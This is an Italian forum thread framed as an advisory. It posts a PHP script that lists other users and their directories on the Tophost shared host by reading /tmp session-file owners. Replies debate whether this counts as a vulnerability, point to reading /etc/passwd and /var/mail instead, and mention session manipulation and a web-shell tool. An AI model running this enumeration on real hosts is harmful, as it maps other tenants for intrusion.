Author Topic: Tophost users enumeration Security Bypass  (Read 10881 times)

Bl4k3

  • Guest
on: May 22, 2011, 04:27:12 PM
Tophost Users Enumeration Security Bypass

Credits   :  Bl4k3 & KNX
Category: PHP Users Enumeration
Severity : Medium

Description: Questa vulnerabilità ci permette di enumerare utenti con rispettive directory grazie a delle sessioni (/tmp/sess_<id sessione utente>) salvate "nel caso di tophost" nella dir /tmp/.



Code:
Quote
<?php
    $files = glob( "/tmp/sess_*" );
    $users = array();
    foreach( $files as $file ){
      $owner = fileowner($file);
      $user = posix_getpwuid($owner);
      if( !in_array( $user, $users ) ){
        $users[] = $user;
      }
     }
    foreach( $users as $user ){
      $info = str_replace( ' ', '& ', print_r($user,true) );
      echo nl2br($info);
    }

?>
« Last Edit: May 22, 2011, 04:29:53 PM by Bl4k3 »



Emilio

  • Newbie
  • *
  • Posts: 35
    • View Profile
Reply #1 on: May 22, 2011, 07:07:00 PM
Non per smorzare l'entusiasmo, è ottimo che vengano pubblicati advisories : D
Ma da che lato questa è una vulnerabilità? Poi perchè nominare TopHost in particolare? E' un comportamento presente in tutti gli unix: i nomi utente sono dati necessari per il funzionamento della multiutenza, la chiamata che fai a posix_getpwuid() accede -addirittura- a /etc/passwd per tradurre da uid a nome utente, come è giusto che sia. Insomma un ls scritto in php non è certo un problema di sicurezza.

Il codice può comunque essere utile per recuperare informazioni in caso di PHP molto restrittivi, ci starebbe ad esempio bene come modulo di weevely : D (non ricordo se supporta ancora i moduli in php :F  , e magari si può spostare in una sezione più adatta, non certo advisories. Cheers
« Last Edit: May 22, 2011, 07:09:36 PM by Emilio »



Bl4k3

  • Guest
Reply #2 on: May 22, 2011, 07:29:36 PM
Da questo si può passare ad altro , magari provando una local session manipulation!
Netsons per esempio ha settato i permessi anche nella dir /tmp/ e queste cose non si possono più fare!
Comunque hai ragione te , leggendo il file /etc/passwd è più facile. :)
Tranquillo che non smorzi niente :)
Bè i mod e admin ci sono se vogliono spostare non si offende nessuno :)



clshack

  • Full Member
  • ***
  • Posts: 177
    • View Profile
    • ClsHack | Blog
Reply #3 on: May 24, 2011, 10:20:45 AM
Netsons l'avevo avvisato io :)

Comunque sia in tophost puoi enumerare tutti gli utenti in altri modi :)
Ora non mi ricordo però -.- devo cercare da qualche parte mentre in netsons gli vedi in /var/mail :)

In aruba sono da altre parti ancora :)



Bl4k3

  • Guest
Reply #4 on: May 24, 2011, 06:16:38 PM
Bè già hai la lettura di /etc/passwd in tutti e due :)
più facile di così :)
« Last Edit: May 24, 2011, 07:35:15 PM by SYSTEM_OVERIDE »



clshack

  • Full Member
  • ***
  • Posts: 177
    • View Profile
    • ClsHack | Blog
Reply #5 on: May 24, 2011, 06:32:46 PM
ahah in caso si facessero furbi   ;D



SYSTEM_OVERIDE

  • Guest
Reply #6 on: May 24, 2011, 07:35:47 PM
Bè già hai la lettura di /etc/passwd in tutti e due :)
più facile di così :)

Bl4k3 visto che rompi tanto con l'exploit di Netsons xD
Vedi bene quel file  :)